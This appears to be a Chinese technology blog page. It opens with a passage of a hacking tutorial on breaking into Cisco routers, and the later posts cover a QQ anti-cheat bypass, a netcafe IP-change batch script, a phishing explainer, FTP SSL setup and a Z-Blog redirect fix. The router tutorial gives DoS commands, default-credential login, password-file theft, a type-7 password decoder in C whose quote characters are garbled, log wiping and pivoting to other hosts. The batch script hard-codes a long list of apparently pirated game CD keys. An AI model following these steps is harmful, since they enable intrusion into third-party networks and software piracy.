  在中国未必有cisco这个名字,但是肯定有路由器的,你可以用SuperScan扫描前两个IP地址,看哪个开2001端口(Cisco路由器管理)和23端口即是的啦!

  现在,你有cisco路由器的位置了,但是它可能还有一个防火墙保护它,所以你要检查一下它是否被封锁ping连接的次数,如果有回应,它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些端口。你用telnet即可,端口23,如果它要输入密码,未叫输入用户名,你就可能在一个防火墙。

  试着找一个未受防火墙保护的路由器,因为这篇教程主题是路由器,不是教你怎样通过防火墙。当你确信找到一个好的系统,你应该找一个可以使用23端口的代理服务器,这样你的IP地址就不会被路由器记录下来了。:找到一台运行Wingate的机器即可。

  ---------------------------------

  第三段:怎样闯入一个cisco路由器?

  Cisco路由器运行 V4.1 版本的软件(现在普遍使用的),这很容易干掉。你只要通过代理服务器连接到一个cisco路由器,输入一串很长的密码,如:

  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

  10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

  现在开始等,cisco系统将会重新启动,可以说你已经攻击它,使它离线了...但是过2-10分钟,它就会恢复,我们应该进入它。

  如果什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击,比如大量的 ping.到dos下,输入 "ping -l 56550 cisco.router.ip -t",这会起到同样的效果.

  :很有可能以上两种方法都不行,反正是要其down机,那么试试那个攻击yahoo的udpFlood,一定可以使其down机。一定要注意小心啊!我相信你应该知道该怎么保护自己。

  如果它被动结,就另找一个代理服务器进行连接。并且用户名为"admin",密码为"admin",因为这是默认的。因为当它暂时的disabled,它将恢复到默认状态。

  你到我主页,会有一篇文章包括几乎所有的路由器的默认用户名和密码

  现在,你已经进入了,你应该获得密码文件!系统运行不同的软件,但大部分有个像"htl-textil"

  这类的提示,现在输入"?",观看命。你会看到有很多的命令,你会发现一个传送命令,用这个命令,在当前Admin用户的情况下,把密码文件发送到你的电脑23端口上。但是在这之前,你要把你的超级终端设定好。你发送文件之后,超级终端将问你是否接收文件,你选择是并保存在电脑中即可。离线.你通过了最难的部分,下面准备开始破解密码。

  --------------------

  第四段:怎样破解密码?

  现在,你获得了密码文件,你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破译它。

  这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件,使用某些解码软件,你还要有足够的耐心。

  这儿有一个专门为cisco路由器密码文件解码的软件,你可以在Linux中编译它:

#include
#include

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - Ɔ’) * 10 + enc_pw[1] - Ɔ’

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - Ɔ’
continue;
}

if(enc_pw[i] >= ’A’ && enc_pw[i] <= ’F’) {
val += enc_pw[i] - ’A’ + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}

if(argv[1][0] == ’-’)
{
switch(argv[1][1]) {
case ’h’:
usage();
break;

case ’p’:
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line[i] == ’\r’)
i--;

if(line[i] == ’\n’)
break;
}
pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
}
}
}

  如果你没有使用Linux,你就只好用John the Ripper之类的软件,带上密码档,进行暴利破解。

  -------------------------------

  第五段:怎样使用一个cisco路由器?

  要使用它,你先必须连接到它,你可以用代理,以免你的IP地址被记下。当你进入的时候,如果你想关闭历史记录来掩盖你的行为,你只要输入"terminal history size 0"。这样就不会被记下什么了! 输入 "?"来看路由器中的命令,大多数你都可以用的。

  这些路由器一般都有telnet,所以你可以通过telnet连接到其它的系统上(比如unix boxes),并且攻击它们。你还可以使用ping 和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包,但我不推荐这样做,因为并不是一定成功,而且
会被发现....

  ---------------------------------

  如果你第一次没有攻入cisco,不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐力。

  这儿只向你将怎样做...一定要在合法的情况下进行啊!

分类: 技术文章 标签:

彩虹QQ提示“发现非法QQ外挂软件”的解决方法

2008年11月25日 没有评论 117 views

删除qq目录下SafeBase下的tsfsres.dat.
同时在SafeBase新同名文件tsfsres.dat并设置属性为只读。

经测试。可以正常使用。

分类: 技术文章 标签:

批处理修改IP,克机后改IP用,手动版,修改后即时起效

2008年11月25日 没有评论 151 views

@echo off&color 0b
title IP修改器
SETLOCAL ENABLEDELAYEDEXPANSION


::基本设置
::可以无限分区,只要以“分区”开头即可
::英文逗号前是计算机名前缀,逗号后是机号范围,不要有重叠哦,否则偶可不负责
set "分区1=DJ-LOVE-,1-56"
set "分区2=DJ-Game-,57-132"
set "分区3=DJ-Chat-,133-249"
set "分区4=DJ-VIP-,250-297"
set "分区5=DJ-Chat-,298-358"
set "分区6=PC,359-360"
set "IP前缀=192.168"
set "起始网段=0"
set "进位数=250"
set "网关=192.168.0.1"
set "跃点数=0"
set "主DNS=192.168.0.1"
set "辅DNS=202.96.128.86"
set "子网掩码=255.255.252.0"

::跃点数是指当前机子到路由的跃点,一般为1,不清楚的设为0(自动)
::进位数是指进位数之后的机号自动进位(注意:本批处理未尾IP范围是1-254,进位数范围是2-254)
::当进位数=250时,例:250号机192.168.0.250  251号机192.168.1.1   500号机192.168.1.250   501号机192.168.2.1
:: 起始网段=10的,例:250号机192.168.10.250  251号机192.168.11.1   500号机192.168.11.250   501号机192.168.12.1
::                     250台机以下的,三段IP为起始网段加0,未段IP是:机号减(进位数*0)
::        超过250台机,在500台以下的,三段IP为起始网段加1,未段IP是:机号减(进位数*1)
::        超过500台机,在750台以下的,三段IP为起始网段加2,未段IP是:机号减(进位数*2)
::以此类推
::机号自动补足三位,但是超1000台的也是自动补三位而不是补四位

goto 取机号

:排除冲突IP
  ::如果没有冲突IP,把set "ip2="到echo.之间的语句删除即可,也可以按照样式添加更多排除IP
  set "ip2="
  if %IP% == 192.168.0.1 set ip2=192.168.3.1
  if %IP% == 192.168.0.230 set ip2=192.168.2.230
  if %IP% == 192.168.0.231 set ip2=192.168.2.231
  if %IP% == 192.168.0.250 set ip2=192.168.2.250
  if %IP% == 192.168.0.246 set ip2=192.168.2.246
  if %IP% == 192.168.0.253 set ip2=192.168.2.253
  if %IP% == 192.168.0.247 set ip2=192.168.2.254
  echo.
  if defined ip2 (set ip=%ip2%)&(echo     所用IP:%ip% 可能与服务器冲突)&echo     改为用:%ip2%
goto :eof

:取机号
cls
echo.
echo.
echo     所有设置都是按机号来改的
echo     IP还可以在修改之后到网络属性里手动再改
echo.
set 机号=
set /p 机号=    机号=
if not defined 机号 (
  echo.
  set/p=    我不是魔术师,不会变电脑<nul
  pause>nul
  goto 取机号
)
for /f "tokens=* delims=0" %%i in ("%机号%") do set 机号=%%i
if not defined 机号 (
  echo.
  set/p=    我不是神仙,不会无中生有变出一台电脑<nul
  pause>nul
  goto 取机号
)
if %机号% GTR 32767 (
  echo.
  set/p=    哼,你是不是想骗我?我非常生气,不理你了!<nul
  pause>nul
  goto 取机号
) else (
  if %机号% lss 1 (
    echo.
    set/p=    呀呀呀~~~你还要骗我,我真的不理你了<nul
    pause>nul
    exit
  )
)


:计算IP
if "%IP前缀:~-1%" == "." set IP前缀=%IP前缀:~0,-1%
if %进位数% lss 2 (
  echo     进位数的范围应该是2-254,请检查基本设置
  pause
  exit
) else (
  if %进位数% gtr 254 (
    echo     进位数的范围应该是2-254,请检查基本设置
    pause
    exit
  )
)
set /a IP段=%机号% / %进位数%
set /a IP尾=%机号% %% %进位数%
if %IP尾% == 0 set /a IP段-=1 & set IP尾=%进位数%
set /a IP段=%IP段% + %起始网段%
set "IP=%IP前缀%.%IP段%.%IP尾%"
if %IP段% lss 0 (
  echo     %IP%不符合IP规则,请检查基本设置
  pause
  exit
) else (
  if %IP段% gtr 255 (
    echo     %IP%不符合IP规则,请检查基本设置
    pause
    exit
)

:取计算机名
for /f "tokens=2,3 delims==," %%i in ('set 分区') do (
  set /a n+=1
  set "分区前缀!n!=%%i"
  set "分区范围!n!=%%j"
)
set "计算机名前缀="
for /l %%i in (1,1,!n!) do (
  call set tmp_=%%分区范围%%i%%
  for /f "tokens=1,2 delims=-" %%j in ("!tmp_!") do (
    if %机号% geq %%j (
      if %机号% leq %%k (
        call set 计算机名前缀=%%分区前缀%%i%%
      )
    )
  )
)
if not defined 计算机名前缀 (
  echo.
  echo     机号未定义分区,请检查基本配置
  pause>nul
  exit
)
if %机号% lss 10 (
  set 计算机名=!计算机名前缀!00%机号%
  ) else (
    if %机号% lss 100 (
      set 计算机名=!计算机名前缀!0%机号%
    ) else (
      set 计算机名=!计算机名前缀!%机号%
    )
  )
)

:内部网络号
set "内部网络号=%机号%"

:取CDKEY
call :Getcdkey
set /a Key_Num=%机号% %% 254
if %Key_Num% == 0 set "Key_Num=254"
call set "CDKEY=%%cdkey%Key_Num%%%"

:取魔兽争霸ID
set "魔兽争霸ID=%计算机名%"

:搜索网卡
set "n=0"
for /f "tokens=13*" %%i in ('IPCONFIG /ALL ^| find /i "Description"') do (set /a n+=1)&set "NetDes!n!=%%j"

if not defined NetDes1 ((echo.)&(echo     未搜索到网卡,请安装网卡驱动,安装驱动后返回本窗口)&pause&goto 搜索网卡)
set "m=0"
for /f "tokens=2*" %%I in ('IPCONFIG /ALL ^| find "Ethernet adapter"') do for /f "delims=:" %%i in ("%%J") do (set /a m+=1)&set "接口名称!m!=%%i"
:选择网卡
set "choice="
if %n% gtr 1 (
  echo.
  for /l %%i in (1,1,%n%) do call echo     %%i %%NetDes%%i%%
  echo.
  echo     请选择网卡
  set /p choice=    回车选1,否则请输入数字:
)
if defined choice (
  if not "%choice%" gtr "%n%" (
    if "%choice%" lss "1" (
      goto 选择网卡
    ) else (
      call set "NetDes=%%NetDes%choice%%%"
      call set "接口名称=%%接口名称%choice%%%"
    )
  ) else (
    goto 选择网卡
  )
) else (
  set "NetDes=%NetDes1%"
  set "接口名称=%接口名称1%"
)

call :排除冲突IP
:回显信息
echo.
echo     检查以下数据是否正确:
echo.
echo     计算机名   :%计算机名%
echo     网卡       :%NetDes%
echo     接口名称   :%接口名称%
echo     IP         :%IP%
echo     CDKEY      :%CDKEY%
echo     魔兽争霸ID :%魔兽争霸ID%
echo.
set /p tmp_2=    输入n返回重新输入机号,回车或其它键执行修改:
if /i "%tmp_2%" == "n" goto 取机号

:写入注册表
   netsh interface ip set address "%接口名称%" static %IP% %子网掩码% 1>nul
   netsh interface ip set address "%接口名称%" gateway=%网关% gwmetric=%跃点数% 1>nul
   netsh interface ip add dns "%接口名称%" %主DNS% index=1 1>nul
   netsh interface ip add dns "%接口名称%" %辅DNS% index=2 1>nul
   reg add "HKCU\Software\Blizzard Entertainment\Warcraft III\String" /v userlocal /t REG_SZ /D %魔兽争霸ID% /f 1>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Services\NwlnkIpx\Parameters /v VirtualNetworkNumber /t REG_DWORD /d %内部网络号% /f 1>nul
   reg add HKCU\Software\Valve\CounterStrike\Settings /v key /t REG_SZ /d %CDKEY% /f 1>nul 2>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName /v ComputerName /t reg_sz /d %计算机名% /f 1>nul
   reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v "NV Hostname" /t reg_sz /d %计算机名% /f 1>nul
   for /f "tokens=15" %%i in ('ipconfig /all ^|find "IP Address"') do set "ip_2=%%i"
echo.
if /i "%IP%" == "%ip_2%" (
  set/p=     修改完成,按任意键重启 <nul
  pause>nul
  shutdown -r -t 2
  exit
) else (
  set/p=     修改IP失败,请手动在本地连接里修改
  pause>nul
  exit
)

:Getcdkey
set cdkey1=2091322607845
set cdkey2=2298968563104
set cdkey3=2293620604801
set cdkey4=3199547101847
set cdkey5=2395626620868
set cdkey6=2291425624864
set cdkey7=2297324646860
set cdkey8=5692438065881
set cdkey9=2399929424868
set cdkey10=3198647142822
set cdkey11=3290343195800
set cdkey12=5791532078882
set cdkey13=3192341122881
set cdkey14=3296148120849
set cdkey15=2398829402826
set cdkey16=3397646195802
set cdkey17=3799865089843
set cdkey18=3291644192804
set cdkey19=3395445159841
set cdkey20=5596230082889
set cdkey21=2393026614856
set cdkey22=7282726715071
set cdkey23=6965198320844
set cdkey24=0590638349985
set cdkey25=4887920308855
set cdkey26=6224273676938
set cdkey27=0234070701672
set cdkey28=6829133462999
set cdkey29=1514397024359
set cdkey30=0338114504295
set cdkey31=9180097837863
set cdkey32=5695926015450
set cdkey33=3160620118964
set cdkey34=1190096475687
set cdkey35=8359933291311
set cdkey36=2696985056117
set cdkey37=7853809758364
set cdkey38=2111724559521
set cdkey39=0578332166402
set cdkey40=5735257958665
set cdkey41=7914860615387
set cdkey42=4063606421917
set cdkey43=3419830076512
set cdkey44=7381489152175
set cdkey45=1628431817077
set cdkey46=2876552803407
set cdkey47=8856983770314
set cdkey48=7530358675181
set cdkey49=5174560117316
set cdkey50=7322581102730
set cdkey51=0719965552707
set cdkey52=5620798081913
set cdkey53=3185381184427
set cdkey54=8680457335754
set cdkey55=9869960983369
set cdkey56=6915151587317
set cdkey57=1272066388570
set cdkey58=9301433546382
set cdkey59=5817471724979
set cdkey60=7946642797514
set cdkey61=3926072554435
set cdkey62=9956746016428
set cdkey63=0590651353471
set cdkey64=1714170985947
set cdkey65=5499802054656
set cdkey66=1163480853697
set cdkey67=3739923265822
set cdkey68=3354655249230
set cdkey69=1204514178341
set cdkey70=8144711732971
set cdkey71=8451579776433
set cdkey72=8206536922064
set cdkey73=7267404852062
set cdkey74=6365487067597
set cdkey75=4919689608720
set cdkey76=2960547428824
set cdkey77=0504759069059
set cdkey78=3050776320471
set cdkey79=0694888961606
set cdkey80=9655746791606
set cdkey81=9610972107773
set cdkey82=7937556243769
set cdkey83=5898414073778
set cdkey84=8334441434100
set cdkey85=5988643975322
set cdkey86=3522855506549
set cdkey87=2721837712087
set cdkey88=0375939353208
set cdkey89=8326908182312
set cdkey90=0058411868073
set cdkey91=7386866002317
set cdkey92=9415036075966
set cdkey93=9415034784963
set cdkey94=9268017928447
set cdkey95=2554301377411
set cdkey96=6199709193805
set cdkey97=6595690064434
set cdkey98=8764101331054
set cdk
ey99=8695699602249
set cdkey100=3953514404409
set cdkey101=6308441865835
set cdkey102=5438918032640
set cdkey103=3567485290466
set cdkey104=8052441431786
set cdkey105=8667283325199
set cdkey106=7429166658674
set cdkey107=3449837719660
set cdkey108=2044603286727
set cdkey109=2044600996623
set cdkey110=0845584423189
set cdkey111=2120251404756
set cdkey112=3323109009072
set cdkey113=8816344011108
set cdkey114=4889203290930
set cdkey115=4947595734608
set cdkey116=6416372973209
set cdkey117=4010242048176
set cdkey118=2868394347791
set cdkey119=6929222730971
set cdkey120=3076799111805
set cdkey121=1603078469447
set cdkey122=5211021351684
set cdkey123=3274459624481
set cdkey124=7179870795032
set cdkey125=5797141343672
set cdkey126=1760001521400
set cdkey127=2974485185592
set cdkey128=4774044485275
set cdkey129=4639394543632
set cdkey130=1686760025574
set cdkey131=3978180084757
set cdkey132=7394299601689
set cdkey133=5767390015563
set cdkey134=2724867497405
set cdkey135=4254885983539
set cdkey136=2534468004227
set cdkey137=7281783350106
set cdkey138=4316295228135
set cdkey139=1373662700066
set cdkey140=3665081760254
set cdkey141=8641906552988
set cdkey142=4982810217571
set cdkey143=6098878717442
set cdkey144=8380197777635
set cdkey145=1649115254258
set cdkey146=1013131611979
set cdkey147=4991747654869
set cdkey148=0955607833607
set cdkey149=5348841845627
set cdkey150=2166620891703
set cdkey151=4603120194744
set cdkey152=0174300602970
set cdkey153=2604328109017
set cdkey154=3687496033242
set cdkey155=6435919294386
set cdkey156=3148215432569
set cdkey157=1759004383207
set cdkey158=8055169291991
set cdkey159=1806957458017
set cdkey160=8195530569895
set cdkey161=3832755815671
set cdkey162=5125185975865
set cdkey163=8715318092335
set cdkey164=9798487926563
set cdkey165=4046983597055
set cdkey166=2667772338796
set cdkey167=3627985668027
set cdkey168=6258903165169
set cdkey169=8540222124443
set cdkey170=0373281606791
set cdkey171=5412254485070
set cdkey172=6140251086556
set cdkey173=4750604958320
set cdkey174=2820861996992
set cdkey175=2232234664320
set cdkey176=2281001016880
set cdkey177=1863006587957
set cdkey178=3043089679363
set cdkey179=5680589872304
set cdkey180=2621473547334
set cdkey181=4913893516529
set cdkey182=0648153358505
set cdkey183=9051527026033
set cdkey184=8215292268602
set cdkey185=2630301884530
set cdkey186=0327114225712
set cdkey187=9711769218462
set cdkey188=9794837152604
set cdkey189=5950737316742
set cdkey190=3587018964383
set cdkey191=7189589159623
set cdkey192=4713333494165
set cdkey193=1770700976096
set cdkey194=8075875894789
set cdkey195=2822527213870
set cdkey196=7061590092143
set cdkey197=5174059613493
set cdkey198=6996673406975
set cdkey199=9266038962356
set cdkey200=9917090176637
set cdkey201=1933991924298
set cdkey202=8561173562838
set cdkey203=3118499828718
set cdkey204=8363945404991
set cdkey205=5658010312675
set cdkey206=4738267351258
set cdkey207=2698655638746
set cdkey208=2914557016520
set cdkey209=5201939075592
set cdkey210=7023459460265
set cdkey211=0004084032358
set cdkey212=2579488650504
set cdkey213=1435403495605
set cdkey214=5722891164576
set cdkey215=5812923357220
set cdkey216=0684570142794
set cdkey217=9051295359780
set cdkey218=0766160464649
set cdkey219=6023089585711
set cdkey220=7282726715071
set cdkey221=6965198320844
set cdkey222=0590638349985
set cdkey223=4887920308855
set cdkey224=6224273676938
set cdkey225=0234070701672
set cdkey226=6829133462999
set cdkey227=1514397024359
set cdkey228=0338114504295
set cdkey229=9180097837863
set cdkey230=5695926015450
set cdkey231=3160620118964
set cdkey232=1190096475687
set cdkey233=8359933291311
set cdkey234=2696985056117
set cdkey235=7853809758364
set cdkey236=2111724559521
set cdkey237=0578332166402
set cdkey238=5735257958665
set cdkey239=7914860615387
set cdkey240=4063606421917
set cdkey241=3419830076512
set cdkey242=7381489152175
set cdkey243=1628431817077
set cdkey244=2876552803407
set cdkey245=8856983770314
set cdkey246=7530358675181
set cdkey247=5174560117316
set cdkey248=7322581102730
set cdkey249=0719965552707
set cdkey250=5620798081913
set cdkey251=3185381184427
set cdkey252=8680457335754
set cdkey253=2492629725023
set cdkey254=3882348620722
goto :eof

分类: 技术文章 标签:

关于钓鱼式攻击

2008年11月25日 没有评论 68 views

作者:monyer

有个例子,我也不记得以前说过没有。

钓鱼式攻击是什么东西呢?其实很简单:

某人Email给你:给我500块,预知你的未来,可以提前通知你,明天国王跟火箭队的比赛,火箭队会赢!

你当然不信啦,但是第二天的比赛,火箭队真的赢了,你说:巧合,巧合而已。

过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟火箭队的比赛,湖人赢了。

你有点好奇,但你是绝对不会把钱给他的,但是第二天的比赛,湖人真赢了,你说:诶?难道是潜规则?

又过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟七六人队的比赛,湖人赢了。

你开始猜,是不是真的啊?但第二天的比赛,湖人又赢了。

......

经过若干次循环后,你终于想要预知你的未来了。但是当你把钱汇出去没有得到答复时,你才知道上当了!

因为事情是这样的:

第一次发信8192封,一半说国王赢,一般说火箭赢;

第二次只给说火箭赢的4096人发信,分为2048人为湖人赢,2048为火箭赢;

第三次只给说湖人赢的2048人发信,分为1024人为湖人赢,1024为七六人赢;

......

很有可能他最终欺骗到的人只有10,但是这已经足够!

所以你可以说钓鱼式攻击一点技术含量都没有,不过可能你仍会因此被骗。

另外钓鱼者超多,请小心诱饵!

分类: 技术文章 标签:

为FTP穿上SSL装甲 客户端也能支持SSL

2008年11月25日 没有评论 68 views

启动Serv-U FTP Server的SSL功能

Serv-U FTP Server是一种使用非常广泛的FTP服务器软件,它本身提供了SSL功能,但默认并未启用。由于FTP是以明文方式传输数据,为了保证数据的安全,我们有必要启用它的SSL功能。启用方法很简单,步骤如下。

步骤1:为自己的Serv-U FTP Server创建一个证书。要使用SSL功能,就必须为FTP Server提供一个服务器证书,Serv-U FTP Server安装后本身就生成了一个证书,但这个证书在所有的Serv-U FTP Server服务器上都是一样的,服务器的私钥也是一样的,所以这是不安全的。在使用SSL之前,我们必须创建一个新的证书。在Serv-U FTP Server的管理界面中点击“Local Server”下的“Settings”,然后选择右边窗格中的SSL Certificate标签,在“Common name”中填入FTP服务器的IP地址,其他的选项根据情况填写就行,完成后点击下方的“Apply”按钮,这样就会创建一个新的服务器证书。

步骤2:点击您要启用SSL的域名,比如图1中的“zhz”,在右窗格中的“Security”下有三个选项,第一个是默认选项,即“Regular FTP only,no SSL/TLS sessions”,这个选项表示不使用SSL;第二个选项是“Allow SSL/TLS and regular sessions”,也就是explicit SSL,它由客户端决定使用那种连接方式;第三个选项是“Allow only SSL/TLS sessions”,也就是implicit SSL,只支持SSL连接,这里选择第三项,完成后点击“Apply”按钮即可。

FTP客户端也能支持SSL

现在有很多FTP客户端都支持SSL连接了,比如Cuteftp Pro和FlashFXP。不过这些东西都是需要花钱的,而且虽然支持SSL,但不一定就与Serv-U FTP Server相容。在这里向大家推荐一款免费的、并且支持SSL连接的FTP客户端软件:Secure FTP。它是纯Java软件,需要运行在版本号在1.3之上的Java环境中,您可以通过在命令行中输入Java version来检验版本号,如果命令不能执行或版本号低于1.3,您可以到http://www.sun.com.cn去下载更新的版本安装。对于 Secure FTP,它可以在http://www.download.com下载。

Secure FTP的使用方法如下:

步骤1:启动Secure FTP,点击工具栏上的红绿灯按钮打开连接对话框,如图3所示,在“hostname”中填入Serv-U FTP Server服务器的IP地址,在下面两栏中分别填入FTP帐户名和密码。

步骤2:切换到“Secutity”标签,点击“Secutity”栏下的下拉框,可以发现它支持两种连接方式:普通的连接和implicit SSL连接,不支持explicit SSL连接(如果您一定要使用这种连接,您可以使用Secure FTP的命令行版本,它支持所有的连接方式),这里我们选择“implicit SSL”项,并勾选“Data Encryption”项。完成后点击“connect”即开始连接服务器。由于是SSL连接,所以连接时间明显比普通连接要长.当第一次使用时,还会弹出一个接受服务器证书的对话框,点击“Grant Always”按钮接受即可。

分类: 技术文章 标签:

Z-Blog URL转发漏洞的修复方法

2008年11月25日 没有评论 68 views

今天我发现了Z-Blog的URL转发文件存在一个漏洞,黑帽SEO通过这个漏洞可以欺骗反垃圾引擎而在类似维基百科这样的站点进行恶意SPAM。

  Z-Blog的反垃圾留言设计为通过加密URL地址进行转发,链接转发的文件名是c_urlredirect.asp,通过这个文件的参数转发不同的 URL链接地址,但是加密的方法极其简单,只要将奇数字节拼合即可解密,因此,黑帽SEO通过拼合这个地址,将其他Z-Blog网站上的转发链接功能变成调用自己网址的功能,这样,即使其原始URL地址在维基百科被屏蔽或者惩罚,他们也可以通过这种转发的方式继续在维基百科制造垃圾链接。

  解决这种黑帽SEO的方法,通过删除c_urlredirect.asp可以避免,但会导致博客正常作者留下的链接地址无法点击。通常可以使用修改代码的方法解决,在c_urlredirect.asp文件中,加入以下几行代码,这样,当黑帽SEO在其他网站制造URL转发链接的时候,页面就不会跳转,从而修复了这个漏洞。

Dim strReferer
strReferer=CStr(Request.ServerVariables("HTTP_REFERER"))
If Instr(strReferer,ZC_BLOG_HOST)=0 Then
 ShowError(5)
End If


  建议所有使用Z-Blog的用户,请立刻在你的c_urlredirect.asp中加入以上代码,否则有可能会被不法之徒利用其做坏事,我在维基百科的[URL=http://meta.wikimedia.org/wiki/Talk:Spam_blacklist]Spam blacklist[/URL]里,已经发现不少Z-Blog博客的域名被列入了黑名单,包括我的域名在内,所有的操作都是一个黑帽SEO在10月底11月初的时候,通过一个韩国的VPN代理上维基百科进行的恶意SPAM操作,这些黑帽SEO尽在那里做一些损人不利己的事情,实在是中国网络界的一个羞耻。

  另外建议维基百科在屏蔽垃圾链接的时候,对于这种黑帽SEO的恶意操作,不要屏蔽无辜的站点,比如我和另外几个Z-Blog博客的地址都被这个黑帽SEO利用,结果我们的域名都被维基百科屏蔽,而且该黑帽SEO还可以通过这个方法陷害更多使用Z-Blog的网站。我建议维基百科可以屏蔽c_urlredirect.asp 这个地址,这样通过这种方法进行发送垃圾链接就会无效了,这样就可以避免错杀无辜了。

分类: 技术文章 标签: